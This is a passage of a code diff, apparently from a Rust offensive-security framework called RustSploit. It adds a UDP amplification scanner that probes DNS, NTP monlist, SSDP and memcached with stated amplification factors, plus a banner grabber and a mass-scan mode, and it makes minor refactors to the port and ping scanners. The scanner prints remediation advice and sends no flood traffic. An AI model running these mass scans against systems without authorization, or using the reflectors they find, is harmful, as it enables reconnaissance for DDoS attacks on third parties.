pkt.extend_from_slice(&[0xAA, 0xBB]);
|
||||
// Flags: standard query, recursion desired
|
||||
pkt.extend_from_slice(&[0x01, 0x00]);
|
||||
// Questions: 1, Answers: 0, Authority: 0, Additional: 0
|
||||
pkt.extend_from_slice(&[0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]);
|
||||
// QNAME: google.com
|
||||
pkt.push(6); pkt.extend_from_slice(b"google");
|
||||
pkt.push(3); pkt.extend_from_slice(b"com");
|
||||
pkt.push(0); // root label
|
||||
// QTYPE: ANY (0x00FF), QCLASS: IN (0x0001)
|
||||
pkt.extend_from_slice(&[0x00, 0xFF, 0x00, 0x01]);
|
||||
pkt
|
||||
}
|
||||
|
||||
/// NTP MON_GETLIST_1 — vulnerable servers return a list of monitored clients.
|
||||
/// Amplification factor: ~556x.
|
||||
const NTP_MONLIST_PROBE: [u8; 8] = [0x17, 0x00, 0x03, 0x2A, 0x00, 0x00, 0x00, 0x00];
|
||||
|
||||
/// SSDP M-SEARCH — UPnP devices respond with service descriptions.
|
||||
/// Amplification factor: ~30x.
|
||||
const SSDP_MSEARCH_PROBE: &[u8] = b"M-SEARCH * HTTP/1.1\r\n\
|
||||
HOST: 239.255.255.250:1900\r\n\
|
||||
MAN: \"ssdp:discover\"\r\n\
|
||||
MX: 2\r\n\
|
||||
ST: ssdp:all\r\n\
|
||||
\r\n";
|
||||
|
||||
/// Memcached UDP stats — exposed servers return megabytes of cache statistics.
|
||||
/// Amplification factor: ~51,000x.
|
||||
fn memcached_probe() -> Vec<u8> {
|
||||
let mut pkt = Vec::with_capacity(15);
|
||||
// UDP binary header (request ID, sequence, total datagrams, reserved)
|
||||
pkt.extend_from_slice(&[0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00]);
|
||||
// "stats\r\n"
|
||||
pkt.extend_from_slice(b"stats\r\n");
|
||||
pkt
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// PROTOCOL DETECTION
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
struct ProbeResult {
|
||||
protocol: &'static str,
|
||||
port: u16,
|
||||
response_size: usize,
|
||||
amplification: f64,
|
||||
detail: String,
|
||||
}
|
||||
|
||||
/// Check if a DNS response indicates an open resolver.
|
||||
fn check_dns(buf: &[u8], n: usize, probe_len: usize) -> Option<ProbeResult> {
|
||||
if n < 12 { return None; }
|
||||
// Check QR bit (response) and RCODE (no error)
|
||||
let qr = (buf[2] >> 7) & 1;
|
||||
let rcode = buf[3] & 0x0F;
|
||||
if qr != 1 { return None; }
|
||||
let answer_count = u16::from_be_bytes([buf[6], buf[7]]);
|
||||
let rcode_str = match rcode {
|
||||
0 => "NOERROR",
|
||||
2 => "SERVFAIL",
|
||||
5 => "REFUSED",
|
||||
_ => "OTHER",
|
||||
};
|
||||
// Even SERVFAIL means the server accepted the query (open resolver)
|
||||
if rcode == 5 { return None; } // REFUSED = not open
|
||||
Some(ProbeResult {
|
||||
protocol: "DNS",
|
||||
port: 53,
|
||||
response_size: n,
|
||||
amplification: n as f64 / probe_len as f64,
|
||||
detail: format!("rcode={}, answers={}", rcode_str, answer_count),
|
||||
})
|
||||
}
|
||||
|
||||
/// Check if an NTP response indicates monlist support.
|
||||
fn check_ntp(buf: &[u8], n: usize) -> Option<ProbeResult> {
|
||||
if n < 8 { return None; }
|
||||
// NTP mode 7 response: first byte & 0x07 == 0x07, or response bit set
|
||||
let mode = buf[0] & 0x07;
|
||||
if mode != 7 && mode != 6 { return None; }
|
||||
Some(ProbeResult {
|
||||
protocol: "NTP",
|
||||
port: 123,
|
||||
response_size: n,
|
||||
amplification: n as f64 / NTP_MONLIST_PROBE.len() as f64,
|
||||
detail: format!("monlist response ({} bytes)", n),
|
||||
})
|
||||
}
|
||||
|
||||
/// Check if an SSDP response indicates a UPnP device.
|
||||
fn check_ssdp(buf: &[u8], n: usize) -> Option<ProbeResult> {
|
||||
if n < 10 { return None; }
|
||||
let response = String::from_utf8_lossy(&buf[..n]);
|
||||
if !response.contains("HTTP/1.1") && !response.contains("NOTIFY") {
|
||||
return None;
|
||||
}
|
||||
let server = response.lines()
|
||||
.find(|l| l.to_lowercase().starts_with("server:"))
|
||||
.map(|l| l.split(':').nth(1).unwrap_or("").trim().to_string())
|
||||
.unwrap_or_default();
|
||||
Some(ProbeResult {
|
||||
protocol: "SSDP",
|
||||
port: 1900,
|
||||
response_size: n,
|
||||
amplification: n as f64 / SSDP_MSEARCH_PROBE.len() as f64,
|
||||
detail: if server.is_empty() { "UPnP device".to_string() } else { format!("UPnP: {}", server) },
|
||||
})
|
||||
}
|
||||
|
||||
/// Check if a Memcached response indicates an exposed instance.
|
||||
fn check_memcached(buf: &[u8], n: usize, probe_len: usize) -> Option<ProbeResult> {
|
||||
if n < 8 { return None; }
|
||||
let response = String::from_utf8_lossy(&buf[..n]);
|
||||
if !response.contains("STAT") && !response.contains("END") {
|
||||
return None;
|
||||
}
|
||||
let stat_count = response.matches("STAT ").count();
|
||||
Some(ProbeResult {
|
||||
protocol: "Memcached",
|
||||
port: 11211,
|
||||
response_size: n,
|
||||
amplification: n as f64 / probe_len as f64,
|
||||
detail: format!("{} stats returned", stat_count),
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// PROBE ENGINE
|
||||
// ============================================================================
|
||||
|
||||
/// Probe a single IP for all selected amplification protocols.
|
||||
async fn probe_host(
|
||||
ip: IpAddr,
|
||||
protocols: &ProbeConfig,
|
||||
timeout_ms: u64,
|
||||
) -> Vec<ProbeResult> {
|
||||
let mut results = Vec::new();
|
||||
let dur = Duration::from_millis(timeout_ms);
|
||||
|
||||
if protocols.dns {
|
||||
if let Some(r) = probe_single(ip, 53, &dns_probe(), dur, |buf, n, plen| check_dns(buf, n, plen)).await {
|
||||
results.push(r);
|
||||
}
|
||||
}
|
||||
if protocols.ntp {
|
||||
if let Some(r) = probe_single(ip, 123, &NTP_MONLIST_PROBE, dur, |buf, n, _| check_ntp(buf, n)).await {
|
||||
results.push(r);
|
||||
}
|
||||
}
|
||||
if protocols.ssdp {
|
||||
if let Some(r) = probe_single(ip, 1900, SSDP_MSEARCH_PROBE, dur, |buf, n, _| check_ssdp(buf, n)).await {
|
||||
results.push(r);
|
||||
}
|
||||
}
|
||||
if protocols.memcached {
|
||||
let probe = memcached_probe();
|
||||
if let Some(r) = probe_single(ip, 11211, &probe, dur, |buf, n, plen| check_memcached(buf, n, plen)).await {
|
||||
results.push(r);
|
||||
}
|
||||
}
|
||||
|
||||
results
|
||||
}
|
||||
|
||||
/// Send a single UDP probe and check the response.
|
||||
async fn probe_single(
|
||||
ip: IpAddr,
|
||||
port: u16,
|
||||
payload: &[u8],
|
||||
dur: Duration,
|
||||
check: impl Fn(&[u8], usize, usize) -> Option<ProbeResult>,
|
||||
) -> Option<ProbeResult> {
|
||||
let sock = crate::utils::udp_bind(None).await.ok()?;
|
||||
let addr = SocketAddr::new(ip, port);
|
||||
sock.send_to(payload, addr).await.ok()?;
|
||||
|
||||
let mut buf = [0u8; 4096];
|
||||
match timeout(dur, sock.recv_from(&mut buf)).await {
|
||||
Ok(Ok((n, _))) if n > 0 => check(&buf, n, payload.len()),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// CONFIGURATION
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Clone)]
|
||||
struct ProbeConfig {
|
||||
dns: bool,
|
||||
ntp: bool,
|
||||
ssdp: bool,
|
||||
memcached: bool,
|
||||
}
|
||||
|
||||
impl ProbeConfig {
|
||||
fn all() -> Self {
|
||||
Self { dns: true, ntp: true, ssdp: true, memcached: true }
|
||||
}
|
||||
|
||||
fn enabled_names(&self) -> Vec<&'static str> {
|
||||
let mut v = Vec::new();
|
||||
if self.dns { v.push("DNS"); }
|
||||
if self.ntp { v.push("NTP"); }
|
||||
if self.ssdp { v.push("SSDP"); }
|
||||
if self.memcached { v.push("Memcached"); }
|
||||
v
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
crate::mprintln!("{}", "+=================================================================+".cyan());
|
||||
crate::mprintln!("{}", "| UDP Amplification Vulnerability Scanner |".cyan());
|
||||
crate::mprintln!("{}", "| DNS (53) | NTP (123) | SSDP (1900) | Memcached (11211) |".cyan());
|
||||
crate::mprintln!("{}", "+=================================================================+".cyan());
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// MAIN ENTRY POINT
|
||||
// ============================================================================
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
// --- Mass scan mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
let protos_input = cfg_prompt_default(
|
||||
"protocols", "Protocols to scan (dns,ntp,ssdp,memcached,all)", "all"
|
||||
).await?;
|
||||
let protocols = parse_protocols(&protos_input);
|
||||
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "Amplification",
|
||||
default_port: 0, // unused — we scan each protocol's port
|
||||
state_file: "amplification_mass_state.log",
|
||||
default_output: "amplification_mass_results.txt",
|
||||
default_concurrency: 500,
|
||||
}, move |ip: IpAddr, _port: u16| {
|
||||
let protos = protocols.clone();
|
||||
async move {
|
||||
let results = probe_host(ip, &protos, 3000).await;
|
||||
if results.is_empty() {
|
||||
return None;
|
||||
}
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
let mut lines = Vec::new();
|
||||
for r in &results {
|
||||
lines.push(format!(
|
||||
"[{}] {}:{} {} vulnerable ({}B response, {:.1}x amplification, {})",
|
||||
ts, ip, r.port, r.protocol, r.response_size, r.amplification, r.detail
|
||||
));
|
||||
crate::mprintln!("\r{}", format!(
|
||||
"[+] {}:{} {} — {:.1}x amplification ({} bytes, {})",
|
||||
ip, r.port, r.protocol, r.amplification, r.response_size, r.detail
|
||||
).green().bold());
|
||||
}
|
||||
Some(lines.join("\n") + "\n")
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Single/multi-target mode ---
|
||||
display_banner();
|
||||
|
||||
let protos_input = cfg_prompt_default(
|
||||
"protocols", "Protocols to scan (dns,ntp,ssdp,memcached,all)", "all"
|
||||
).await?;
|
||||
let protocols = parse_protocols(&protos_input);
|
||||
|
||||
let timeout_ms: u64 = cfg_prompt_default(
|
||||
"timeout", "Probe timeout (ms)", "3000"
|
||||
).await?.parse().unwrap_or(3000);
|
||||
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
|
||||
|
||||
crate::mprintln!("[*] Protocols: {}", protocols.enabled_names().join(", ").cyan());
|
||||
crate::mprintln!("[*] Target: {}", target.yellow());
|
||||
crate::mprintln!("[*] Timeout: {}ms", timeout_ms);
|
||||
crate::mprintln!();
|
||||
|
||||
// Resolve target IP
|
||||
let ip: IpAddr = target.parse().map_err(|_| {
|
||||
// Try DNS resolution
|
||||
use std::net::ToSocketAddrs;
|
||||
format!("{}:0", target).to_socket_addrs()
|
||||
.ok()
|
||||
.and_then(|mut a| a.next())
|
||||
.map(|sa| sa.ip())
|
||||
.ok_or_else(|| anyhow!("Cannot resolve target: {}", target))
|
||||
}).or_else(|r: Result<IpAddr, _>| r)?;
|
||||
|
||||
crate::mprintln!("[*] Scanning {}...", ip);
|
||||
crate::mprintln!();
|
||||
|
||||
let results = probe_host(ip, &protocols, timeout_ms).await;
|
||||
|
||||
if results.is_empty() {
|
||||
crate::mprintln!("{}", "[-] No amplification vulnerabilities found.".yellow());
|
||||
} else {
|
||||
crate::mprintln!("{}", format!(
|
||||
"[+] Found {} amplification vulnerability(ies):", results.len()
|
||||
).green().bold());
|
||||
crate::mprintln!();
|
||||
|
||||
crate::mprintln!(" {:<12} {:<8} {:<12} {:<14} {}",
|
||||
"Protocol".bold(), "Port".bold(), "Resp Size".bold(),
|
||||
"Amplification".bold(), "Details".bold());
|
||||
crate::mprintln!(" {}", "-".repeat(70).dimmed());
|
||||
|
||||
for r in &results {
|
||||
let amp_color = if r.amplification > 100.0 {
|
||||
format!("{:.1}x", r.amplification).red().bold().to_string()
|
||||
} else if r.amplification > 10.0 {
|
||||
format!("{:.1}x", r.amplification).yellow().to_string()
|
||||
} else {
|
||||
format!("{:.1}x", r.amplification).to_string()
|
||||
};
|
||||
|
||||
crate::mprintln!(" {:<12} {:<8} {:<12} {:<14} {}",
|
||||
r.protocol.green(), r.port, format!("{} B", r.response_size),
|
||||
amp_color, r.detail);
|
||||
|
||||
if verbose {
|
||||
crate::mprintln!(" {} Probe: {} bytes -> Response: {} bytes",
|
||||
"->".dimmed(), probe_size(r.protocol), r.response_size);
|
||||
}
|
||||
}
|
||||
crate::mprintln!();
|
||||
|
||||
// Risk summary
|
||||
let max_amp = results.iter().map(|r| r.amplification).fold(0.0_f64, f64::max);
|
||||
let risk = if max_amp > 500.0 { "CRITICAL".red().bold() }
|
||||
else if max_amp > 50.0 { "HIGH".red() }
|
||||
else if max_amp > 10.0 { "MEDIUM".yellow() }
|
||||
else { "LOW".green() };
|
||||
crate::mprintln!("[*] Risk level: {} (max amplification: {:.1}x)", risk, max_amp);
|
||||
|
||||
// Recommendations
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "[*] Recommendations:".cyan().bold());
|
||||
for r in &results {
|
||||
match r.protocol {
|
||||
"DNS" => crate::mprintln!(" - DNS: Restrict recursion to authorized clients (allow-recursion ACL)"),
|
||||
"NTP" => crate::mprintln!(" - NTP: Disable monlist (restrict noquery in ntp.conf)"),
|
||||
"SSDP" => crate::mprintln!(" - SSDP: Disable UPnP or block port 1900 at the firewall"),
|
||||
"Memcached" => crate::mprintln!(" - Memcached: Disable UDP listener (-U 0) or bind to localhost only"),
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
crate::mprintln!();
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// HELPERS
|
||||
// ============================================================================
|
||||
|
||||
fn parse_protocols(input: &str) -> ProbeConfig {
|
||||
let lower = input.to_lowercase();
|
||||
if lower.contains("all") {
|
||||
return ProbeConfig::all();
|
||||
}
|
||||
ProbeConfig {
|
||||
dns: lower.contains("dns"),
|
||||
ntp: lower.contains("ntp"),
|
||||
ssdp: lower.contains("ssdp"),
|
||||
memcached: lower.contains("memcache"),
|
||||
}
|
||||
}
|
||||
|
||||
fn probe_size(protocol: &str) -> usize {
|
||||
match protocol {
|
||||
"DNS" => 33,
|
||||
"NTP" => 8,
|
||||
"SSDP" => SSDP_MSEARCH_PROBE.len(),
|
||||
"Memcached" => 15,
|
||||
_ => 0,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,156 @@
|
||||
//! Banner Grabber Scanner
|
||||
//!
|
||||
//! Grabs service banners from open ports to identify software versions
|
||||
//! and potential vulnerabilities. Supports multi-port scanning with
|
||||
//! protocol-specific probes.
|
||||
//!
|
||||
//! FOR AUTHORIZED SECURITY TESTING ONLY.
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use std::net::IpAddr;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::time::{timeout, Duration};
|
||||
|
||||
use crate::utils::{cfg_prompt_default, cfg_prompt_port};
|
||||
use crate::modules::creds::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
|
||||
|
||||
const DEFAULT_TIMEOUT_MS: u64 = 5000;
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "Banner Grabber".to_string(),
|
||||
description: "Grabs service banners from open ports with protocol-specific probes (HTTP, FTP, SMTP, SSH, POP3, IMAP, MySQL, Redis, RTSP, Telnet). Identifies software versions for vulnerability assessment.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
struct BannerResult {
|
||||
service: &'static str,
|
||||
banner: String,
|
||||
}
|
||||
|
||||
/// Get the protocol-specific probe bytes for a port.
|
||||
fn probe_for_port(port: u16) -> Option<&'static [u8]> {
|
||||
match port {
|
||||
80 | 443 | 8080 | 8443 | 8888 => Some(b"GET / HTTP/1.1\r\nHost: target\r\nConnection: close\r\n\r\n"),
|
||||
554 => Some(b"OPTIONS rtsp://target/ RTSP/1.0\r\nCSeq: 1\r\n\r\n"),
|
||||
_ => None, // Most services send banners on connect without a probe
|
||||
}
|
||||
}
|
||||
|
||||
/// Identify service from banner content.
|
||||
fn identify_service(port: u16, banner: &str) -> &'static str {
|
||||
let lower = banner.to_lowercase();
|
||||
if lower.contains("ssh") { return "SSH"; }
|
||||
if lower.contains("ftp") { return "FTP"; }
|
||||
if lower.contains("smtp") || lower.contains("postfix") || lower.contains("exim") { return "SMTP"; }
|
||||
if lower.contains("pop3") || lower.contains("+ok") { return "POP3"; }
|
||||
if lower.contains("imap") { return "IMAP"; }
|
||||
if lower.contains("http") { return "HTTP"; }
|
||||
if lower.contains("mysql") || (banner.len() > 4 && banner.as_bytes()[0] < 0x20) { return "MySQL"; }
|
||||
if lower.contains("redis") || lower.contains("+pong") { return "Redis"; }
|
||||
if lower.contains("rtsp") { return "RTSP"; }
|
||||
if lower.contains("vnc") || lower.starts_with("RFB ") { return "VNC"; }
|
||||
if lower.contains("mongo") { return "MongoDB"; }
|
||||
match port {
|
||||
21 => "FTP", 22 => "SSH", 23 => "Telnet", 25 | 587 => "SMTP",
|
||||
80 | 443 | 8080 => "HTTP", 110 => "POP3", 143 => "IMAP",
|
||||
3306 => "MySQL", 5432 => "PostgreSQL", 6379 => "Redis",
|
||||
_ => "Unknown",
|
||||
}
|
||||
}
|
||||
|
||||
/// Grab banner from a single port.
|
||||
async fn grab_banner(ip: IpAddr, port: u16, dur: Duration) -> Option<BannerResult> {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
let mut stream = crate::utils::network::tcp_connect(&addr, dur).await.ok()?;
|
||||
|
||||
// Send probe if needed, then read
|
||||
if let Some(probe) = probe_for_port(port) {
|
||||
timeout(dur, stream.write_all(probe)).await.ok()?.ok()?;
|
||||
}
|
||||
|
||||
let mut buf = [0u8; 4096];
|
||||
let n = timeout(dur, stream.read(&mut buf)).await.ok()?.ok()?;
|
||||
if n == 0 { return None; }
|
||||
|
||||
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
|
||||
if banner.is_empty() { return None; }
|
||||
|
||||
let service = identify_service(port, &banner);
|
||||
Some(BannerResult { service, banner })
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
crate::mprintln!("{}", "+=================================================================+".cyan());
|
||||
crate::mprintln!("{}", "| Banner Grabber |".cyan());
|
||||
crate::mprintln!("{}", "| Grab service banners to identify software versions |".cyan());
|
||||
crate::mprintln!("{}", "+=================================================================+".cyan());
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if is_mass_scan_target(target) {
|
||||
let port: u16 = cfg_prompt_port("port", "Port to grab banners from", 22).await?;
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "BannerGrab",
|
||||
default_port: port,
|
||||
state_file: "banner_grab_mass_state.log",
|
||||
default_output: "banner_grab_mass_results.txt",
|
||||
default_concurrency: 500,
|
||||
}, move |ip: IpAddr, port: u16| {
|
||||
async move {
|
||||
let result = grab_banner(ip, port, Duration::from_secs(5)).await?;
|
||||
let first_line = result.banner.lines().next().unwrap_or("").to_string();
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
crate::mprintln!("\r{}", format!("[+] {}:{} [{}] {}", ip, port, result.service, first_line).green());
|
||||
Some(format!("[{}] {}:{} [{}] {}\n", ts, ip, port, result.service, first_line))
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
display_banner();
|
||||
|
||||
let ports_input = cfg_prompt_default("ports", "Ports to scan (comma-separated)", "21,22,23,25,80,110,143,443,3306,5432,6379,8080").await?;
|
||||
let ports: Vec<u16> = ports_input.split(',')
|
||||
.filter_map(|s| s.trim().parse().ok())
|
||||
.collect();
|
||||
let timeout_ms: u64 = cfg_prompt_default("timeout", "Timeout (ms)", "5000").await?.parse().unwrap_or(DEFAULT_TIMEOUT_MS);
|
||||
let dur = Duration::from_millis(timeout_ms);
|
||||
|
||||
let ip: IpAddr = target.parse().or_else(|_| {
|
||||
use std::net::ToSocketAddrs;
|
||||
format!("{}:0", target).to_socket_addrs()
|
||||
.map_err(|e| anyhow!("Cannot resolve {}: {}", target, e))?
|
||||
.next().map(|sa| sa.ip())
|
||||
.ok_or_else(|| anyhow!("No addresses for {}", target))
|
||||
})?;
|
||||
|
||||
crate::mprintln!("[*] Target: {}", ip.to_string().yellow());
|
||||
crate::mprintln!("[*] Ports: {:?}", ports);
|
||||
crate::mprintln!();
|
||||
|
||||
let mut results = Vec::new();
|
||||
for &port in &ports {
|
||||
match grab_banner(ip, port, dur).await {
|
||||
Some(r) => {
|
||||
let first_line = r.banner.lines().next().unwrap_or("");
|
||||
crate::mprintln!(" {} {:<6} {:<12} {}",
|
||||
"+".green(), port, r.service.cyan(), first_line);
|
||||
results.push(r);
|
||||
}
|
||||
None => {
|
||||
crate::mprintln!(" {} {:<6} {}", "-".dimmed(), port, "no banner / closed".dimmed());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("[*] {} banner(s) grabbed from {} port(s) scanned", results.len().to_string().green(), ports.len());
|
||||
Ok(())
|
||||
}
|
||||
@@ -108,7 +108,7 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
if (idx + 1) % 10 == 0 || idx + 1 == total_targets {
|
||||
crate::mprint!("\r{}", format!("[*] Progress: {}/{} ({:.0}%)",
|
||||
idx + 1, total_targets, ((idx + 1) as f64 / total_targets as f64) * 100.0).dimmed());
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
|
||||
}
|
||||
|
||||
match fetch_title(&client, url, &title_re).await {
|
||||
|
||||
@@ -22,3 +22,6 @@ pub mod waf_detector;
|
||||
pub mod subdomain_scanner;
|
||||
pub mod nbns_scanner;
|
||||
pub mod honeypot_scanner;
|
||||
pub mod amplification_scanner;
|
||||
pub mod proxy_scanner;
|
||||
pub mod banner_grabber;
|
||||
|
||||
@@ -17,7 +17,7 @@ use std::{
|
||||
Arc, Mutex,
|
||||
},
|
||||
};
|
||||
use tokio::{net::TcpStream, process::Command, sync::Semaphore, task, time::Duration};
|
||||
use tokio::{process::Command, sync::Semaphore, task, time::Duration};
|
||||
|
||||
use rand::RngExt;
|
||||
use std::io::Read;
|
||||
@@ -446,7 +446,7 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
|
||||
)
|
||||
.dimmed()
|
||||
);
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
|
||||
}
|
||||
|
||||
if !successes.is_empty() {
|
||||
@@ -482,7 +482,7 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
|
||||
|
||||
// Clear progress line
|
||||
crate::mprint!("\r{}\r", " ".repeat(80));
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
|
||||
|
||||
let up_hosts = success_counter.load(Ordering::Relaxed);
|
||||
crate::mprintln!(
|
||||
@@ -607,12 +607,11 @@ async fn tcp_probe(ip: &IpAddr, ports: &[u16], timeout: Duration) -> Result<Vec<
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let socket = SocketAddr::new(ip, port);
|
||||
match tokio::time::timeout(timeout, TcpStream::connect(socket)).await {
|
||||
Ok(Ok(_stream)) => {
|
||||
match crate::utils::network::tcp_connect_addr(socket, timeout).await {
|
||||
Ok(_stream) => {
|
||||
// Connection successful - drop stream immediately
|
||||
Some(format!("TCP/{}", port))
|
||||
}
|
||||
Ok(Err(_)) => None,
|
||||
Err(_) => None,
|
||||
}
|
||||
}));
|
||||
@@ -988,8 +987,7 @@ fn get_local_ipv4() -> Option<Ipv4Addr> {
|
||||
}
|
||||
|
||||
// Fallback to UDP connection trick if pnet fails
|
||||
use std::net::UdpSocket;
|
||||
if let Ok(socket) = UdpSocket::bind("0.0.0.0:0") {
|
||||
if let Ok(socket) = crate::utils::network::blocking_udp_bind(None) {
|
||||
if socket.connect("8.8.8.8:80").is_ok() {
|
||||
if let Ok(local_addr) = socket.local_addr() {
|
||||
if let IpAddr::V4(ipv4) = local_addr.ip() {
|
||||
|
||||
@@ -66,6 +66,7 @@ const COMMON_PORTS: &[u16] = &[
|
||||
];
|
||||
|
||||
// Service detection map
|
||||
#[inline]
|
||||
fn get_service_name(port: u16) -> &'static str {
|
||||
match port {
|
||||
21 => "FTP",
|
||||
@@ -435,6 +436,12 @@ async fn scan_tcp(
|
||||
|
||||
// Bind to custom source port if configured
|
||||
if let Some(src_port) = source_port {
|
||||
// Allow multiple sockets to share the same source port — each connects
|
||||
// to a different remote addr:port, so there is no actual conflict.
|
||||
if let Err(e) = socket.set_reuse_address(true) { crate::meprintln!("[!] SO_REUSEADDR error: {}", e); }
|
||||
#[cfg(target_os = "linux")]
|
||||
if let Err(e) = socket.set_reuse_port(true) { crate::meprintln!("[!] SO_REUSEPORT error: {}", e); }
|
||||
|
||||
let bind_addr = if addr.is_ipv4() {
|
||||
SocketAddr::new(std::net::IpAddr::V4(std::net::Ipv4Addr::new(0, 0, 0, 0)), src_port)
|
||||
} else {
|
||||
@@ -495,7 +502,7 @@ async fn grab_banner(stream: &mut TcpStream, port: u16) -> (String, String) {
|
||||
Ok(Ok(n)) if n > 0 => {
|
||||
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
|
||||
let service = detect_service_from_banner(&banner, port);
|
||||
return (banner, service);
|
||||
return (banner, service.to_string());
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
@@ -525,7 +532,7 @@ async fn grab_banner(stream: &mut TcpStream, port: u16) -> (String, String) {
|
||||
if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
|
||||
if n > 0 {
|
||||
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
|
||||
return (banner, "SSH".into());
|
||||
return (banner, "SSH".to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -535,7 +542,7 @@ async fn grab_banner(stream: &mut TcpStream, port: u16) -> (String, String) {
|
||||
if n > 0 {
|
||||
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
|
||||
let service = detect_service_from_banner(&banner, port);
|
||||
return (banner, service);
|
||||
return (banner, service.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -544,25 +551,26 @@ async fn grab_banner(stream: &mut TcpStream, port: u16) -> (String, String) {
|
||||
("".into(), "".into())
|
||||
}
|
||||
|
||||
fn detect_service_from_banner(banner: &str, port: u16) -> String {
|
||||
#[inline]
|
||||
fn detect_service_from_banner(banner: &str, port: u16) -> &'static str {
|
||||
let banner_lower = banner.to_lowercase();
|
||||
|
||||
|
||||
if banner_lower.contains("ssh") {
|
||||
"SSH".into()
|
||||
"SSH"
|
||||
} else if banner_lower.contains("ftp") {
|
||||
"FTP".into()
|
||||
"FTP"
|
||||
} else if banner_lower.contains("smtp") {
|
||||
"SMTP".into()
|
||||
"SMTP"
|
||||
} else if banner_lower.contains("pop3") {
|
||||
"POP3".into()
|
||||
"POP3"
|
||||
} else if banner_lower.contains("imap") {
|
||||
"IMAP".into()
|
||||
"IMAP"
|
||||
} else if banner_lower.contains("http") {
|
||||
"HTTP".into()
|
||||
"HTTP"
|
||||
} else if banner_lower.contains("mysql") {
|
||||
"MySQL".into()
|
||||
"MySQL"
|
||||
} else {
|
||||
get_service_name(port).to_string()
|
||||
get_service_name(port)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -586,12 +594,25 @@ async fn scan_udp(
|
||||
) -> Option<String> {
|
||||
// Bind address (source port logic)
|
||||
let sock = if let Some(src_port) = source_port {
|
||||
let domain = if ip.is_ipv4() { Domain::IPV4 } else { Domain::IPV6 };
|
||||
let raw = match Socket::new(domain, Type::DGRAM, Some(Protocol::UDP)) {
|
||||
Ok(s) => s,
|
||||
Err(_) => return Some("ERROR".into()),
|
||||
};
|
||||
if let Err(e) = raw.set_reuse_address(true) { crate::meprintln!("[!] SO_REUSEADDR error: {}", e); }
|
||||
#[cfg(target_os = "linux")]
|
||||
if let Err(e) = raw.set_reuse_port(true) { crate::meprintln!("[!] SO_REUSEPORT error: {}", e); }
|
||||
if let Err(e) = raw.set_nonblocking(true) { crate::meprintln!("[!] Socket option error: {}", e); }
|
||||
|
||||
let bind_addr = if ip.is_ipv4() {
|
||||
SocketAddr::new(std::net::IpAddr::V4(std::net::Ipv4Addr::new(0, 0, 0, 0)), src_port)
|
||||
} else {
|
||||
SocketAddr::new(std::net::IpAddr::V6(std::net::Ipv6Addr::new(0, 0, 0, 0, 0, 0, 0, 0)), src_port)
|
||||
};
|
||||
match UdpSocket::bind(bind_addr).await {
|
||||
